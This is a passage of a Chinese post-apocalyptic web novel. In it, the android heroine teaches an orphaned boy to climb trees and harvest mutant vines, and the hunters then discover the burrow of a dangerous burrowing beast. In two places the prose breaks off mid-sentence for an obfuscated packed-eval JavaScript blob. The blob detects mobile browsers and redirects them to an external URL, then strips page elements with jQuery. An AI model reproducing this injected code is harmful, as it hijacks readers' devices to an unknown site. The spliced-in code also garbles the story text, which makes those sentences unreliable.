“这孩子,除非你一直带着他,否则他活不下去。你今天施舍他一个,你明天要施舍几个?你今天施舍他一回,明天你还继续不继续?” “你知道了两条我们的规矩。”蒋云霞闭了闭眼,深吸口气。 “我再告诉你一条,第三条规矩是不要心慈手软。人该为自己选择负责,蝴蝶,告诉我答案吧,70%,还是0?” 她话音落下,好巧不巧地,不远处的男孩同时做出了决定,他一脸忐忑地朝时却走来。 直至他来到时却面前,时却也没给出蒋云霞她的回复。 ……时却清楚此时此刻正在发生什么。 她沉默地站在一高一矮两名人类之间,恍惚站在一盏硕大天平的正中央。 那天平的左端是久经验证的末世生存法则,状似一片灰蒙蒙的雾霭;那天平的右端也有一团东西,白得晃眼。 那白的晃眼的东西……也许可以管它叫‘道德要求’之类拗口的名字吧,总之是个柔软舒适、虚无苛刻、不合当下时宜的玩意儿。 现下,她悬而未决的态度形成了两根无形的细线,各自吊在这天平左右端的托盘上,叫天平的左右端,岌岌可危地处在同一高度。 她拖不了很久,她得做出决断。 “呃,你是……蝴蝶姐吗?” 男孩忐忑地开口,冲时却绽开尽力维持的笑颜,一只手紧攥着裤子的布料,一只手拿着那把形同虚设的剪刀。 “……” “姐,我能帮你们采腐烂菇。”见时却似乎默认他继续,男孩眼神一亮,语速不自觉加快许多。 “我经常在叔叔的花店帮忙,动作很快的,我只要很少很少的报酬,一点点,够吃饭就可以!” 他急切地比了个手势。他的手掌除擦痕外的地方,白皙细嫩,只有握笔的茧子。 时却的目光移到男孩胸前。 他们二人离得够近,她得以看清此前造成他胸前反光的由来。 那是一枚戒指,其上镶嵌着颗晶莹剔透的蓝色钻石。 时却拔出腰间的匕首。 在她的身后,传来蒋云霞微不可察的舒了口气的声音;在她的面前,男孩倒退一步,眼中的光亮如即将燃尽的火堆般迅速黯淡下去。 她听到泥猪哈哈大笑,听到有不止一个人的窃窃私语,听到天平摇晃的吱呀动静,听到无形的细线“噌”地绷紧了的声响。 ……时却决定踹翻这个不知道什么鬼东西给她设置的二选一。 她扬手,她的匕首飞向半空,扑一声落在男孩的脚边。 在她的身后,蒋云霞骤然加快了呼吸频率,在她的面前,男孩惊疑不定。 “捡,”时却说,“你不是想活吗?捡起来。” 男孩将花艺剪刀挂在腰上,犹豫着依言照做。 时却的声音散入微风里: “我知道你和你叔叔的事情。我很好奇,你说不敢打猎,不敢自己走。为什么?” 男孩紧张地舔了舔下唇,用极小的声音略有些颠三倒四地说: “我没做过那些事,叔叔不让,他想叫我好好读书。” “我试过了,姐,叔叔去世的第二天我就试了,我碰上一只落单的鬣狗,它受了伤,我跟上去,跟了很远,然后……” 似乎回想起什么令人惊恐的遭遇,男孩瞳孔一缩,打了个冷战,不由自主地去摸腹部的纱布。 “我不行的,姐,那太可怕了,我动都不敢动,差点死掉,”他流着泪道,“我、我后面又试了,可我真的害怕……” “这是你不敢打猎的理由,”耐心地听他说完,时却平静地总结,“不敢自己行路的理由是什么?” “叔、叔叔说,落单了会被欺负、袭击,而且的确……”男孩紧紧抓住胸前的骨戒,更多的眼泪夺眶而出,看上去十分委屈。 听到这里,时却完全明白了。 站在她面前的,是个被未知恐惧攫取住了的人。 他本来被保护得极好,长久保护了他的叔叔却意外离世。他被强买强卖,短时间内遭到接二连三的打击,更放大了对周遭一切的恐惧。 ……像一只身体虚弱又应激了的猫,难以理智地思考,完全乱了阵脚。 而残酷的区外森林,对他这样的人尤其苛刻,不给多少容错率。 时却想了想,伸出两只手指比了个二。“会袭击你的,要么动物,要么人。” 紧接着,她换成“一”的手势。 “先说动物,蝎子行路的动静大,大部分变异动物会避开,你在边上活动,即便落单,受到变异动物袭击的概率不高。” 男孩抽噎地流着一时半会停不下来眼泪,泪眼朦胧的同时,嘴巴不自觉张开了些许,傻愣愣地瞧着时却不停开合的嘴。 “你只需要留意无人机的动静,一旦不怎么听到无人机的声音,立刻追赶主车队……喂,”时却皱了皱眉,提高声音,“你呆什么,有没有在听?” 男孩一个激灵,下意识道:“在、在听!” 时却将“一”的手势复变为“二”。 “再说人,”她道,“你用什么代步?” 男孩抠了抠匕首的握柄,吸吸鼻子回答:“叔叔的老摩托。” 时却猜也是这类肉包铁的驾具,不然不可能摔得脸和手上全是擦伤。 “你身上没像样的家伙,没钱,袭击你很难划算,可以放心。行路时跟在主车队附近,躲着所有你觉得脸凶的人。在扎营地时,找有战斗型仿生人在的地方待。” “真有人找你麻烦,对方要什么给什么,不要反抗。 “即使你叔叔的老摩托被抢,主车队走得很慢,有偿拦路搭车,或走着、跑着去扎营地,再每次找人第二天搭车,都可以。我说明白了吗?” “姐,你、你忘了,我没有钱,”他弱弱地说,“我还打不到猎物。” 他的眼睛再度亮起来:“还是,姐你肯……” 这回轮到时却沉默几息。 “不,”她摇摇头,“我不会带着你。” 恍惚间,她再度听到天平托盘上的细线绷紧的声音。 不等男孩再说什么,她开口:“说回打猎的问题。你的身体素质的确不适合打猎。” “你会跟着那两人来到这里,提出一起采腐烂菇,说明你知道还有采集变异植物这一条路。你之前的顾虑是刚才说的,怕被人或动物袭击?” “想想我刚才说的话,如果只在主车队附近采集,你可以做到吗?” 男孩的脸上浮现出恐惧之色。不过他深呼吸了几下,还是犹豫地点了点头,眼角挂着要掉不掉的泪珠。 “还有个问题,”他抹抹眼泪,“姐,我出过十三区,没有区外地图,叔叔买了,但我把叔叔的终端和他一块火化了,我只知道昨天蝎子播的那几个变异植物。” “……你叔叔把你保护得很好,”时却说,“恐高吗?爬没爬过树?” 男孩小声道:“不恐。小时候爬,长大后叔叔不许,说容易受伤。” “知道蛙藤怎么采吗?” 男孩摇摇头。 “想活着去十二区?” “……想。” 时却从随身的背包里找出支葡萄糖水,扭头对蒋云霞说,她要带沈司奥到边上去一会,后者神情复杂地嗯了一声。 在时却和男孩对话的过程中,数道目光不时落在她身上。 时却并不关心,扫视周边一眼,指了个方向,说自己就去那里。 她以一种“今天天气真好吃了吗”的语气轻巧而自然地说:“蒋姐,你没事的话,可以往我那时不时瞅一瞅。” 蒋云霞没说话。 时却拉上沈司奥,带着那男孩来到斜坡边缘的几棵树下,一些不算很高的树枝上缠有蛙藤。 她揪了几根长点的草,让男孩看她如何将它们编织在一起,同时说明蛙藤的采集办法。 考虑还随身携带着沈老板,在不上树的情况下,时却找了个树干给男孩做简单的动作演示。 她借过男孩腰间的气手枪,拆开看,里面用的是橡胶子弹。她得知,这把气手枪是男孩叔叔的遗物。 确认过男孩携带的橡胶子弹很多后,她选了条蛙藤,目的是擦过蛙藤的嘴巴边缘,引发蛙藤吐舌—— 她想,在蛙藤吐舌前,如果击中蛙藤的嘴部,应不能使其脱落;否则,蒋云霞的独特采集蛙藤的法子,不会需要两个人。 砰砰打出十几枪去,时却清空了两个弹匣,终于有一枪好运地擦过蛙藤上嘴边,让男孩看到蛙藤弹出的舌头。 为避免男孩肌肉力量不足,她带两人在附近翻来找去半晌,捡出几根直径软硬度和直径适中的藤蔓,略作修剪,得到两根彼此独立的藤绳,用以给男孩借力。 时却给了男孩一双手套,让他自己选一棵树,喝光带着的葡萄糖水。 她将那两根新鲜出炉的藤绳挂在他脖子上。 “你拿一根下来,绕在树干上……对,另一根从背上走,绕过腋下……这两根的接头分别打上结……手穿过结,握在结上,靠近树干……人和树干之间的距离稍微留少一些。” 她打量了一下男孩,不太放心,参考入伍新兵里野外求生的内容,又搓了几根更细些的新藤绳,系在男孩和树干、男孩和此前的两根藤绳之间,充当保险绳。 “好,可以了。” 根据曾见过的陌生人和蒋云霞的爬树姿势,时却让男孩试爬了会,指点、校正他的姿势。 全程下来,男孩十分配合,十分柔顺。 他从粗糙的树干前转头看时却,脸上带着些许胆怯,腰间插着时却的匕首。 时却看了一眼他腹部的伤口,心知肚明从身体情况出发,蛙藤不是此刻这个男孩的首选。 ……可从更幽深、更微妙的其他方面而言,这是她此刻能想出来的,最好的办法。 时却咬了一口唇内侧的软肉,舔舔破口处,尝到一点血的腥甜味道。 “今晚的晚餐和明天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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男孩吸了吸鼻子,重重地点头,扭过脸,手脚并用,生疏而缓慢地朝上攀爬,目标是几米开外的蛙藤。 升高约三米多近四米时,他整个人毫无预兆地停住,胸膛起伏如擂鼓。 树下的时却转换角度,看到他腹部的纱布上渗出更多血色。 “他要恐高,你怎么办?”沈司奥忽然道。 时却耸肩:“找只猫兔来吧。” “……如果他掉下来,你真的会接住他?”沈司奥又问,“他再往上爬,向下落,正常的人类不应该能接住。” 时却古怪地看他一眼: “你以为我为什么往他身上挂那些绳子?”当然是为了方便后面掰瞎话。 沈司奥:“?” 时却装模作样地摆出一脸深沉: “到时候,我打算说些‘藤蔓和树身之间的摩擦力降低了坠落冲击’之类的胡说八道。这里树木那么密,又有一段距离,谁能看清楚?” 还不是,她怎么掰别人就得怎么信? 总不能立刻坚定地排除所有大概率选项,笃定她是个……会跑会动会骗人的机械架子吧? 类似这样一道多选题: 【你影影绰绰看到一个瘦瘦的男孩在有段距离的地方爬树,树和他之间捆了圈绳子,他爬高后掉下来没摔死,请问,你觉得以下哪种因素是他得以生还的可能? A.藤蔓搓树卸去了相当部分的下坠力; B.有个很难评的家伙在树下捞了他一把; C.绝对和藤蔓没关系,你发誓B里那个家伙是个能单手扛起一头的仿生人。】 尽管正确答案是C的后半句和AB,不过正常人肯定选AB啦!哪个神金会选C啊?! 沈司奥:“……” 机械师思考了一下,不得不承认这个逻辑有理有据,简直让人信服。 他利索地给时却比了个大拇指。 解决完可能暴露身份的危机,二人继续仰头,关注半空中男孩的动静。 几分钟过去,男孩缓了过来,继续朝向上。 他有认真记住时却教给她的一切,爬到蛙藤附近后,发着抖从衣兜里拿出用于充作吸管的草。 ……除了当试探出蛙藤的嘴巴,近距离看到黏腻的软舌猛地弹射出来时,男孩不由惊叫出声外,一切还算顺利。 严格按照时却教授的方法,他试探清楚蛙藤舌头的攻击范围,一点点地将身体挪到那攻击范围之外,绕到蛙藤嘴部的背面,抽出匕首,缓慢地切割蛙藤绿色的主体。 等蛙藤被他割开了近大半时,树下的时却见他不知为什么忽然又停住了动作。 她围着树干绕了几圈,没发现男孩腹部纱布上的血团有新情况,类似不正常增大变深的那种情况。 莫名之际,半空中男孩的下一个举动为她解了惑。 男孩将她的匕首插回腰间。 他那只仅长了握笔茧的右手,按在了自己的花艺剪刀上。 时却甚至能想象出来他的具体姿势。 一定是……他的食指和拇指各穿进剪把的镂空处,中指上长着握笔茧的指关节处——恰到好处地抵在一个剪把的侧面。 在她和沈司奥的注视下,男孩将那把花艺剪刀的尖部,对准了此前匕首制造出的缺口。 剪头张开。剪身旋转。 咔嚓。 剩下的蛙藤被一举剪断,松垮地张开,同树枝分离,无声地滑下,经过“噗”的沉闷声响后,重重砸落于地面上。 采集完成。 男孩开始缓慢地往下降。 这期间,鬼使神差地,时却抬头看一眼男孩,低头看一眼脚边坠落蛙藤上的断口。 ……那断口分成两个部分,其一为平滑的匕首割伤,占据大半;其二是与匕首痕迹形成了一个台阶交界的,花艺剪刀的痕迹。 沈司奥观察了她一会,有些疑惑地皱皱眉。 “你没觉得开心,或松了一口气,”他说,“为什么?你解决了他的问题。” 时却看他一眼,没说话。 对,她没有遵照那无形天平上的任何一端。她踹翻了那玩意儿。 对,她解决了那男孩的问题,通过教导他…… 如何拿修剪花枝的手,去弄断生长于温暖花室外的、长着畸变黏舌的蛙藤。 她的天平倾倒在地,它两边托盘上的东西滑落出来。 右端的白团和左端灰蒙蒙的末世生存法则,二者用无机质的声音齐齐地对她说: “好吧,算你这次蒙混过关,希望你一直有这样的好运气。” ……男孩虚弱地落了地,朝时却和沈司奥两人露出一个比哭还难看的笑容。 沈司奥上前去扶他,时却拍了拍他的肩膀。 “还有一件事,可能对你有帮助。我不确定……你想不想做。” 她轻声对男孩说了几句话。 男孩低头回答说:“我觉得可以呀。” 时却点头。由她扛着那条蛙藤,沈司奥搀扶男孩,他们往蒋云霞的方向走。 待三人回到蒋云霞身边,数道来自不同紫蝎的目光,或近或远地、灼灼地落到时却身上。 蒋云霞神情复杂地瞧了时却片刻,起身接过她肩上的蛙藤,掂量了一下,失笑:“嚯,那小子能吃一天多了。他会跟着你吗?” “不。” 蒋云霞摸了摸下巴:“15%,25%。看在你的面子上。” “他没力气了,”时却摇头,“我少拿15%吧,算走开这段时间的补偿。” “行。” 沈司奥扶男孩坐下,时却对男孩说:“记一记在场人的脸,没坏处。知道吗?” 一旁的蒋云霞闻言,面色又复杂起来。 她哭笑不得地扶额,嘴里来回翻滚起些诸如“真会现学现用”、“这破辐射病”、“这有病的破脑子”的自言自语。 沈司奥拍拍这位老猎人的肩膀,不动声色地拉她去继续刨腐烂菇。 时却抽出腰间的枪,啪嗒一声拨开保险,教男孩如何握枪。 “先试试手。”她从背后拢住男孩,轻轻凑到他耳边轻轻说。 我很抱歉,她同时在心里无声道。 男孩的拇指搭在扳机上,时却举起双臂包住他的手。手枪的枪口举起——对准此前男孩攀爬过的那棵树木。 她能感觉得到,紫蝎们的目光依旧在她和男孩身上流连。 砰! 她和男孩扣下扳机,淡淡的火药味霎时弥漫开来。时却感受到男孩剧烈的心跳声。 “真枪的感觉怎么样?” “有、有点奇怪,”男孩结结巴巴地说,“不过我想我会习惯的,姐,谢、谢谢你……” 话没说完,他如释重负,紧接着两眼一翻,身体软倒。 一直留意着他们的蒋云霞一愣,忙上前检查,随后告诉时却,男孩没多大问题,只是太劳累,昏睡了过去。 “抱他到我车上躺会算了,车里还有毯子。”她把车钥匙丢给时却。 时却重新拆开男孩的纱布,给他抹了点速合剂,带上沈司奥,抱着男孩往蒋云霞停车的地方去。 将男孩放进车里后,她关上车门。 车边的灌木丛窸窣作响,随即钻出来的一个人,那个左撇子女。 她朝时却点点头。 “绞肉场的那几场挺漂亮的。顺带一提,泥猪是个傻叉,是你的话,可以不用在意他那种人。” 时却:……怎么好像全世界都看过她打架。 “我也顺带一提个东西,”她失笑,“你俩没有看到我的第一眼,就想占我便宜吧?” “第一眼的话,太夸张了。”左撇子女摸出个皱巴巴的烟盒,抽出一根点上。 她倚着车屁股吐出口白烟,在云白的烟雾中斜睨时却,微笑道: “怎么着也是第二眼往后了。这么说,你会好受点吗?” 时却哭笑不得。 “要是我袖手旁观,你们打算怎么办?” “不知道,看情况吧,”左撇子女说,“谢谢。” “没想着温和点?” “谁不是这么过来的。” “……” “好吧,我俩可能比泥猪那傻叉强不了多少。” “这不全是你的问题。” 左撇子女沉默了一会,把烟盒往时却跟前一递,“来一根?” “不抽。” “给个面子。手头有限,给不起其他东西了。你趁我走后丢掉都行。” 时却于是拿了一根,随手挂在右耳上。 62. 空洞 像早上和蒋云霞自然搭话的紫蝎,左撇子女和时却懒散地聊了几句自上路以来的见闻。 等到指间的香烟短得快夹不住,她与时却加上终端好友,留下一句“常联系”,先行离开。 出于保险起见,临走前,时却再度检查男孩的情况。 她半个身子探入乘员舱,沈司奥靠在车上,与她相隔一扇车门。 “你可能需要翻译,”机械师用闷闷的声音说,“‘常联系’的意思是,‘有机会的话,让你把便宜占回来’。” 确认过男孩还深陷黑甜乡里,腹部的伤口状态良好,没再渗血,时却退出乘员舱。 她把住车门,握拳轻敲两下近在咫尺的防毒面罩,以唯有二人才能听到的声音开玩笑: “是,哪天让人帮我保养个胳膊腿,再上点机油。” 沈司奥乜斜时却一眼:“那她得先考个证。” 时却轻轻关上车门,略好笑地惊诧于怎么末世的尽头也是考证。 “做你们这行,还得持证上岗?” “法律规定不允许机械师无证执业,”沈司奥侧身,“走?” “走。详细说说呗?” “十七岁只能考初级证,往上还有中级和高级。” 信手为沈司奥拨开几根探到小径上的挡路树枝,时却随口道:“敢问小老板,你具体什么水平。” 她见过沈司奥组装番茄和常识播放器的样子,见过沈司奥摆弄晨晨和检查她的左腿。 在那些情景下,机械师的动作娴熟、利索、游刃有余,总不自觉流露出一种仿佛处在自家后花园里般的闲庭信步。 他的水平应该不止初级,否则中高级少说能手搓高达,时却心想。 ……不知道高达在这个世界的科技树上,能处于哪个水平。 她等待着回答,等了会儿,沈司奥说,对大多数机械师,拿个证来规避法律处罚就行;一些工业发达区里的知名企业或研究所,才会对证书这种东西有要求。 沈老板轻巧地绕过了“你的水平到底有多高”的问题,将两人间的对话转向“科普频道”。 谁没有点不可告人的秘密呢,时却识趣地没往下追问。 回程途中,两人之间的气氛正常,有一搭没一搭地聊着。 临近目的地,在时却不知又一次帮忙把灌木丛扫开,示意沈司奥先行后,沈司奥钻过灌木丛,拍拍身上带到的树叶,冷不防开口: “等到了十二区,我预计找个地方租房住上一阵,准备高等教育的入学考。有什么事,你联系我。” 时却踢走边上的一颗石子,嗯了一声。 转过几棵阻挡视野的树,他们再次回到那片长有众多腐烂菇的斜坡。 和离开前不同,紫蝎们没有散落在自己的一亩三分地上各自为政,反而全凑到了斜坡的最高点,围着一处。 蒋云霞站在外圈,不时朝身后看,见到时却和沈司奥两人,朝他们挥挥手。 在距离紫蝎们稍远些的地方会了合,蒋云霞向时却和沈司奥说起具体的情况。 在二人离开后不久,占据该区域的紫蝎采集到这块地方。 那紫蝎是个独行的女人。她手插进泥土中,忽觉掌下的触感过于松软湿润,伸到最底时,不甚确定地感到触及了什么有些发脆的东西,并将其戳断了。 没等反应过来,她左右十指下意识合拢住颗腐烂菇,往外施力—— 结果,比起用“拔”来形容,她几乎可以说是毫不费劲地捧出了那颗腐烂菇。 好似在一团剁烂了的饺子馅里轻易掏出个鹌鹑蛋。 腐烂菇本身的柔软,以及其上泥土的寒凉触感,隔着那紫蝎的手套,今日不知第几次地传遍她的周身。 她并不在意地低头,随即,看到了一幅古怪景象: 按理说,一个蘑菇被从地面上挖走,其原本的占位处必定被挖出碗状的坑。 而当她打量完手里腐烂菇的外形,却没看到预想中该自然出现的凹坑。 取而代之,一个黑漆漆的空洞突兀地闯入她的视线,镶在土地上,仿佛原本就该在那个位置。 它的直径有常见的易拉罐罐口大小,不知深浅。 紫蝎的第一反应为,这个空洞是个老鼠洞。 可转念一想,考虑手插入土中挖腐烂菇的时候,指尖处未有明显悬空感……哪有老鼠洞的洞口会被一层厚厚的泥土封住,无法出入,还长蘑菇? 还是,嗯,一个废弃多时的老鼠洞? 但那个诡异的似有脆物阻挡的感觉是怎么回事? 想到那触感仅若有若无地一闪而过,自己还在冷风中挖了有一段时间的腐烂菇,紫蝎反而不敢确认它是否有真实发生过了。 她回想了几个有打洞习性的变异动物,测试了一下洞口的空气流向。 洞口处的气流为从外向内,浮尘和细小的土屑打着旋往里进。过了会,那气流稍微改变了些流向。 这证明洞口之内,大概率另有其他相连的穴口。 谨慎起见,那紫蝎又捡了根近手臂长的树枝,走到洞口的侧边以免正对,谨慎地拿树枝往洞口内戳去。 长树枝直至送入近半,也未探到洞底,反而在收回时不慎蹭到洞口的边沿,带出些许白色粉末状物。 “就是这样,”蒋云霞道,“她把这事一说,我们觉得稀罕,还可能有赚头,就呼啦啦全都凑过去了。” “前头有几个年纪大的和路子多的家伙,通过各种途径确认着。” “有的负责看洞,有的负责鼓捣那些粉末,有的找熟人问意见,看看那洞大概率是什么玩意搞出来的。” 沈司奥不解:“区外会打洞的猎物很多,这种大小的洞应该不罕见?”应该没有必要人人都围着关注。 时却合理推测:“封住洞口的腐烂菇和白色粉末,它们是什么不同寻常的象征?” “答对了,两者都是,”蒋云霞一拍掌,“它们可能和一种叫‘穿地兽’的动物有关,你搜搜,它的回收价高得很。” 时却立即打开地图,找到穿地兽的介绍。 还没来得及细看介绍的正文部分,如蒋云霞所言,她就见到“穿地兽”三个字的标题边上,以红色加粗字体挂着极为显眼的高额回收价。 不论尸体完好程度,不论是皮是肉是骨,甚至是穿地兽的分泌物,每斤的回收价,换算下来,大概为经蝎子涨价后的腐烂菇的数倍。 即便蝎子的回收价和官方存在出入,属实仍是油水很肥的猎物。 将视线从血红的报价上艰难地撕下,穷鬼时却咽了咽口水,继续往下看正文。 穿地兽,这是种有冬眠习性的穴居动物,外形整体酷似穿山甲,本该是穿山甲头部的位置却没有五官,只有个肉瘤般滚圆的脑袋主体。 那形似球棒的脑袋主体的中部,遍布褶皱和昆虫般的短小触须。 在其靠近头部左右边缘处的褶皱上,各长有一片弯曲得近似勺体的贝壳状物。 那贝壳状物凸伸出穿地兽的头部,外侧边缘细密地长有锉纹,似一对形状古怪的牙,又仿佛两把异形的铲子。 “往后翻。”蒋云霞道。 “下一页比较有意思,不知道怎么过的审……可能最近区管理局一摊烂事,根本没人有精力审核。” 时却依言翻页,飞快看完,高亮出以下数段: 【穿地兽是肉食动物,食谱极为广泛,上到飞禽,下到走兽,无一不吃。人同样不例外。】 【穿地兽可长至一米高,一到两米长;和多数大体型的变异动物一样,随着体型的增大,穿地兽对人类的攻击欲望同样愈渐增加。】 【区外,时常发生和大体型穿地兽相关的袭击事件。】 【本区于2140年11月13日就有此遭遇。一对穿地兽,约一米高,一米五长,趁一个暴雨天来了又跑,袭击数人,造成相当的伤亡。 【本区管理局派人重伤了它们,但没能当场搞死,至今未发现这俩畜生跑到哪里下地狱去了。】 【值得一提的是,对于大体型的穿地兽而言,其对人的“恨意”以近乎无法控制的食欲表现,人在它的钟爱食谱里名列前茅。 【曾有数起穿地兽在袭击人群的途中,忍不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672667|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分心大快朵颐起来,进而被找到空子击毙的例子。】 【需要筑巢时,它会使用头部那两块弧形齿锉下泥土并吞入腹中,再找时机吐到洞穴外,如此反复,直至在地下打造出四通八达的、迷宫式的“巢穴”。】 【“巢穴”完工后,它将于鳞甲表面分泌出特殊的保护液,涂抹到“巢穴”的侧壁上;这种保护液遇空气不久便干燥固化,形成两到四个月后方会脆化的白色骨质支撑结构,确保穿地兽藏身处的短时稳固性。】 【穿地兽主要融合了穿山甲和船蛆的基因。结合它能吞土再吐土来挖地道的习性,这玩意可以说完全是个长了脚能满地跑的盾构机。】 【顺带一提,穿地兽于辐射后初次被发现时,把好几个生物学家整得十分抓狂(尽管他们这情况早持续了数年)。 听说还有个大拿抓着所剩无几的头发大叫‘生物学不存在了’。惨。】 “十一月份啊,”沈司奥回忆,“我那段时间接了个大单,昏天黑地忙了半个月,没关注过这事。” 蒋云霞:“正好那时森林蔓延得距离界碑没剩几步,它们以植被和暴风雨为掩护,凌晨摸来,袭击处在防护罩外的人。” “管理局急招猎人帮忙,我和小杜他们都去了,”她冷冷地摸了一下腰间的枪,“那俩畜生,边横冲直撞边开餐,夹着尾巴逃跑时,嘴边还挂着不少血淋淋的胳膊腿。” “那之后,管理局冒着预算超标的风险,一举把森林烧退了不少,远超平时需要做到的程度。” “喏,就像上路那天你见到的那样,从十一月到现在,森林长了快一个半月,还离界碑有段距离。” 时却还有不少疑问。 她举手,指着高亮里那句“和多数大体型的变异动物一样,随着体型的增大,穿地兽对人类的攻击欲望同样愈渐增加”提问: “这是?” 蒋云霞熟练地右手掌心向上翻,朝向沈司奥。 “字面意思。”沈司奥说。 “和森林植物的‘趋向人类性’差不多,你可以把它理解成……变异动物版本的‘趋向人类性’。当然,对于动物而言,这种趋向更血腥暴力,主要表现为杀戮欲和食欲。” 回想曾接触过的体型较大的变异动物,时却刨去她主动招惹的四脚鱼,举例道:“像变异狼?” “差不多。变异狼还不算大。” ……这个世界的人类是不是被辐射针对了,太多灾多难? 忍不住在心里吐了个槽,时却打开地图设置,将地图保持着的选项调整为常用的:优先显示方圆五十公里内变异动物。 她快速检索显示出来的名单,没有命中“穿地兽”的条目。 “知道你要问什么了,”眼见着时却操作的蒋云霞摆摆手,“这个不用小老板,我来吧。” “巡逻队每次外出,会优先搜索好吃人的、难对付的大型动物,整理起来汇报给管理局,管理局随后会再派人定点清理,主打一个不能让它们成气候。像穿地兽这种属于打击重点,即便小体型的或幼崽,一经发现也不会放过。” “地图的来源是巡逻队,巡逻队能找到的动物,短期内管理局清掉了,自然不在地图上显示。” “说回那两只穿地兽,当时奄奄一息跑掉了,接着估计就见阎王去了,你当然在地图上找不着。” 时却整合了一下这些信息。 “所以……” 她组织着语言总结:“那个空洞,可能是九月那两只穿地兽打出来的?它们带伤死在了洞里;随时间推移,洞口覆上一层厚厚的泥土,然后长出腐烂菇?” “没错。”蒋云霞打了个响指,颇为满意时却的反应不慢。 她朝紫蝎们围着的方向努努嘴,又说:“看样子估计快出结果了。” 在三人谈话期间,那儿不断有小骚动和对话声传出,频率越来越高。时却能感觉到,众人的情绪愈发高涨。 不到半分钟,包围圈的最内部爆出小声的惊呼,石宇扒开旁人冲到外围,叉腰招呼时却: “蝴蝶,真是穿地兽,快过来,商量商量怎么搞!” 63. 处理 石宇嗷一嗓子,引得所有紫蝎看向时却三人。他身边的柳广知这次倒没什么特殊表现,朝时却笑了笑。 蒋云霞用手护嘴,偏头对时却道:“那直肠子挺喜欢你。” 她这话里没有任何暧昧色彩,仅属于一句闲谈式的调笑。 时却向不远处的大汉二人组挥挥手以示回应。“可能觉得不打不相识。” 他们走近紫蝎们。 明了穿地兽的巢穴的确存在后,原本围得还算紧密的紫蝎们大多彼此拉开距离,松散了些,只有在最内圈的几个紫蝎没动作。 石宇向时却打过招呼后,几步跨回到原位。 先时却和沈司奥半步,蒋云霞预备带二人回到自己原来站着的外圈位置。 尚有几步就要站定时,她看了看空洞所在的方向,临时改变了主意。 她眼珠子一转,提前停步,以正常的音量问时却,既然她没见过穿地兽,想不想先亲眼看看那个空洞。 说实话,时却确有几分好奇。 不过,结合所知的信息,她能脑补出空洞形态的大致形貌,不认为非要马上一睹实物。 “早看晚看没区别”这句话才要出口,邻近三人的几个紫蝎先一步身体微侧,显出仅可唯一被解释为“让路”的无声姿态。 蒋云霞大大咧咧揽过时却的肩膀,凑到后辈的耳边用气音乐呵呵道:“看,你魅力不小。” 她放下胳膊,转而推时却一把,让她领路,自己和沈司奥跟在后头。 仿佛多米诺骨牌般,猎人们的态度迅速相互感染,均平静地让了路。 看上去,他们完全不介意后来的三人往前,如同三人的位置合该在众人的内圈。 时却心情复杂。 ……她最后甚至经过了泥猪。 这不修边幅的中年男人咬着指甲,不给时却正眼。 他嘴里百无聊赖似的哼着不成曲的小调,整个人左摇右晃,却好巧不巧地略一偏身,让时却和他擦肩而过。 三人来到空洞前。 与时却脑补的差不多,它是个黑不见底的口子,但凡不知晓来龙去脉,正常人的第一反应只会觉得它是个平平无奇的老鼠洞。 一根长树枝横在洞口边,底下垫了张防水布,防水布上散落着些零碎玩意: 装有微量白色粉末的塑料透明样品管、打火机、放大镜、矿泉水瓶、一铝板胶囊药、两三个小小的棕色油纸包、一个摊开的黑色刀具收纳袋。 时却嗅到空气里隐约飘着种即将散尽的奇特气味,仿佛塑料和羽毛同时燃烧后混杂而成。 略一观察,她还留意到,防水布边的一处草尖上有未干涸的铅色水痕。 具体怎么操作的,她不清楚,但显而易见,样品管里的白色粉末是穿地兽脆化了的保护液,其他东西是用来简单检测它的工具。 疯牛蹲在防水布边上,拿起样品管对着太阳上下摇晃两下。 “事情弄清楚了,姐,”她懒洋洋地举起一只手,“管子我拿回去了?” 她说话的对象是名看上去年龄约五十的女性,其身形精悍,眉心竖一道不浅的川字纹,五官给人不怒自威的感觉。 女人道:“嗯。” 她话音落下,就近凑在空洞边的紫蝎纷纷上前,将防水布上杂七杂八的东西,差不多捡了个干净,只留下一个刀具收纳袋孤零零地摊开。 女人的眼睛转向蒋云霞,肩膀和眉眼俱放松了些。 “正好,云霞,来搭把手?” “让我旁边这只蝴蝶试试?”蒋云霞笑笑,往时却的后背拍了一巴掌,“她耐性不错。” “蝴蝶,这是齐姐,区里巡逻队的前任队长,刚退休没多久,闲不住,转行当猎人。” 齐姐这才重新仔细打量时却,几息下来似乎还算满意,问她手巧不巧。 时却心道这就尴尬了,她刚“出生”没半个月,在这方面还真不好评估自己。 就算记忆里那个上班族,最高的水平也只是衣服破口了,她能勉强缝起来,还得是扭扭曲曲缝成蜈蚣形状的那种。 她低眉顺眼地老实交代,自己能有模有样地挖腐烂菇……今天刚学的。 齐姐似笑非笑地睨一眼蒋云霞,瞧了瞧时却武装带上各武器皮套的摆放情况,心中了然。 “右利手?” “嗯。” 从地上的刀具收纳袋里抽出把型号中等的刮刀,她反手将刀尖朝自己,刀柄递向时却。 待时却接过刮刀,她挥手示意凑在空洞前的紫蝎再散开些。 “我能把这个洞处理妥当,”齐姐朗声道,“条件很简单,在场每个人各转我下午所有收益的5%,有人不同意吗?” 她倒数了三个数,无人发声。 “很好,我再讲些你们需要知道的东西。”齐姐清了清嗓子,以靴尖轻碾脚下的土地提高音量,确保所有人都能听清。 “这里距离地面约四米高,而穿地兽的巢穴最长可延展一公里……” 这位巡逻队的前队长以尽量通俗易懂的语言,向众人解释了许多区外地图没有提及的穿地兽习性,以及所筑巢穴的特点。 总的来说,穿地兽喜欢给巢穴划分区域。 为防止较自己体型大的其他动物轻易进入,它们为巢穴修筑的出入口通常仅能容纳自身顺畅前进。 它们会定期更换常使用的出入口,将暂不使用的出入口涂满保护液,待要使用某个被封住的出入口时,再拿头部的齿破坏掉固化的保护液。 